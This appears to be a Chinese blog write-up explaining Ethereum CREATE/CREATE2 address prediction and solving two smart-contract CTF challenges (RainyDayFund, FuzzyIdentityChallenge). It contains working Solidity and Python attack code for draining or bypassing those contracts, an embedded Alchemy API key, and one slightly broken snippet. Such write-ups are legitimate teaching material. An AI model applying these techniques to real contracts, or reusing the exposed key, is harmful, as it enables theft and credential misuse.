Creat 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from web3 import Web3import utilsimport rlpw3 = Web3(Web3.HTTPProvider( 'https://eth-goerli.g.alchemy.com/v2/LpLlanLNUEgZtjfJbVeZVMe_wh3B2NXG' )) def getnonce (addr ): return w3.eth.get_transaction_count(Web3.to_checksum_address(hex (addr))) def getaddress (addr, nonce ): return (Web3.keccak(rlp.encode([addr, nonce]))[12 :].hex ()) addr = 0x8aC8215492Ce132Eb4d1db7EcE3eF0caF670deFf nonce = getnonce(addr) print (nonce)getnextaddress = getaddress(addr, nonce) print (getnextaddress)p = w3.to_checksum_address(getnextaddress) print (p)
预测地址创建合约的下一个地址,creat方法,合约创建一个新合约,默认nonce为0
Creat题目 Source Code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 pragma solidity 0.4.24; import "../CtfFramework.sol"; contract DebugAuthorizer{ bool public debugMode; constructor() public payable{ if(address(this).balance == 1.337 ether){ debugMode=true; } } } contract RainyDayFund is CtfFramework{ address public developer; mapping(address=>bool) public fundManagerEnabled; DebugAuthorizer public debugAuthorizer; constructor(address _ctfLauncher, address _player) public payable CtfFramework(_ctfLauncher, _player) { //debugAuthorizer = (new DebugAuthorizer).value(1.337 ether)(); // Debug mode only used during development debugAuthorizer = new DebugAuthorizer(); developer = msg.sender; fundManagerEnabled[msg.sender] = true; } modifier isManager() { require(fundManagerEnabled[msg.sender] || debugAuthorizer.debugMode() || msg.sender == developer, "Unauthorized: Not a Fund Manager"); _; } function () external payable ctf{ // Anyone can add to the fund } function addFundManager(address _newManager) external isManager ctf{ fundManagerEnabled[_newManager] = true; } function removeFundManager(address _previousManager) external isManager ctf{ fundManagerEnabled[_previousManager] = false; } function withdraw() external isManager ctf{ msg.sender.transfer(address(this).balance); } }
Analyse 题目要求转走所有的钱,因此我们需要通过isManage,而通过此修饰需要我们满足,DebugAuthorizer合约在构造的时候就有1.337 ether的代币
1 2 3 4 5 6 7 8 9 10 contract DebugAuthorizer{ bool public debugMode; constructor() public payable{ if(address(this).balance == 1.337 ether){ debugMode=true; } } }
因此我们需要预测合约地址,在此合约创建之前就进行转币,以此来满足
Attack 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from web3 import Web3 import utils import rlp w3 = Web3(Web3.HTTPProvider('https://eth-goerli.g.alchemy.com/v2/LpLlanLNUEgZtjfJbVeZVMe_wh3B2NXG')) def getnonce(addr): return w3.eth.get_transaction_count(Web3.to_checksum_address(hex(addr))) def getaddress(addr, nonce): return (Web3.keccak(rlp.encode([addr, nonce]))[12:].hex()) addr = 0x8aC8215492Ce132Eb4d1db7EcE3eF0caF670deFf nonce = getnonce(addr) print(nonce) contractaddress= getaddress(addr, nonce) getaddress=getaddress(contractaddress,1) print(getaddress)
Creat2 语法 语法:new contract{salt:bytes32(_salt)}(构造合约的参数)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 //SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Temp{ address public owner; constructor(address _owner){ owner=_owner; } } contract Deploy2{ event Deploy(address addr); function deploy(uint _salt)external{ Temp _contract=new Temp{salt:bytes32(_salt)}(msg.sender);//create2方法相对于原来的方法只需加个大括号 emit Deploy(address(_contract)); } //预测地址 function getAddress(bytes memory bytecode,uint _salt)public view returns(address){ bytes32 hash=keccak256(abi.encodePacked( bytes1(0xff),address(this),_salt,keccak256(bytecode) )); return address(uint160(uint(hash))); } //得到bytecode function getBytecode(address _owner)public pure returns(bytes memory){ bytes memory bytecode=type(DeployWithCreate2).creationCode; return abi.encodePacked(bytecode,abi.encode(_owner)); } }
还可以通过内联汇编来creat2
语法:{a := create2(callvalue, add(0x20, Bytecode), mload(Bytecode), 0x01)}
CREATE2 [value offset length salt] =>>四个参数
msg.value code的起始位置 code的长度 salt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 pragma solidity ^0.5.10; contract Deployer { address public deployedAddr; function deploy(bytes memory code) public { deployBytecode = code; address a; // Compile Dumper to get this bytecode bytes memory dumperBytecode = hex""; assembly { a := create2(callvalue, add(0x20, code), mload(code), 0x01) } deployedAddr = a; } }
py脚本creat2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from web3 import Web3, HTTPProviderdeployingAddr = 'd9145CCE52D386f254917e481eB44e9943F39138' code = '0x608060405234801561000f575f80fd5b5060ce8061001c5f395ff3fe6080604052348015600e575f80fd5b50600436106026575f3560e01c806306fdde0314602a575b5f80fd5b60306044565b604051603b91906081565b60405180910390f35b5f7f736d617278000000000000000000000000000000000000000000000000000000905090565b5f819050919050565b607b81606b565b82525050565b5f60208201905060925f8301846074565b9291505056fea2646970667358221220184a43afff86c72d959a260ceda2c19ec6c6724dfd0870b2bfd2484ea098e7b664736f6c63430008140033' s = Web3.keccak(hexstr=code) print (s)a = '' .join(['%02x' % b for b in s]) print (a)i = 0 salt = hex (i)[2 :].rjust(64 , '0' ) print (salt)p = Web3.keccak(hexstr=('0xff' + deployingAddr + salt + a))[12 :].hex ()
Creat2题目 Source Code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 pragma solidity ^0.4.21; interface IName { function name() external view returns (bytes32); } contract FuzzyIdentityChallenge { bool public isComplete; function authenticate() public { require(isSmarx(msg.sender)); require(isBadCode(msg.sender)); isComplete = true; } function isSmarx(address addr) internal view returns (bool) { return IName(addr).name() == bytes32("smarx"); } function isBadCode(address _addr) internal pure returns (bool) { bytes20 addr = bytes20(_addr); bytes20 id = hex"000000000000000000000000000000000badc0de"; bytes20 mask = hex"000000000000000000000000000000000fffffff"; for (uint256 i = 0; i < 34; i++) { if (addr & mask == id) { return true; } mask <<= 4; id <<= 4; } return false; } }
Analyse 需要通过isBadCode才可以完成合约,isBadCode要求地址中任意位置出现0badc0de即可,因此我们需呀用creat2方法来寻找地址
Attack 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 contract Attack{ function name() external view returns (bytes32){ return bytes32("smarx"); } } contract Deploy{ function getBytecode()public pure returns(bytes memory){ bytes memory bytecode=type(Attack).creationCode; return bytecode; } function deploy(uint _salt)external returns(address addr ){ Attack _contract=new Attack{salt:bytes32(_salt)}(); addr=address(_contract);//create2方法相对于原来的方法只需加个大括号 } }
然后寻找s
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from web3 import Web3, HTTPProviderdeployingAddr = 'd9145CCE52D386f254917e481eB44e9943F39138' code = '0x608060405234801561000f575f80fd5b5060ce8061001c5f395ff3fe6080604052348015600e575f80fd5b50600436106026575f3560e01c806306fdde0314602a575b5f80fd5b60306044565b604051603b91906081565b60405180910390f35b5f7f736d617278000000000000000000000000000000000000000000000000000000905090565b5f819050919050565b607b81606b565b82525050565b5f60208201905060925f8301846074565b9291505056fea2646970667358221220184a43afff86c72d959a260ceda2c19ec6c6724dfd0870b2bfd2484ea098e7b664736f6c63430008140033' s = Web3.keccak(hexstr=code) print (s)a = '' .join(['%02x' % b for b in s]) print (a)i = 0 while (1 ): salt = hex (i)[2 :].rjust(64 , '0' ) print (salt) p = Web3.keccak(hexstr=('0xff' + deployingAddr + salt + a))[12 :].hex () if '0badc0de' in p: print (salt, p) break i += 1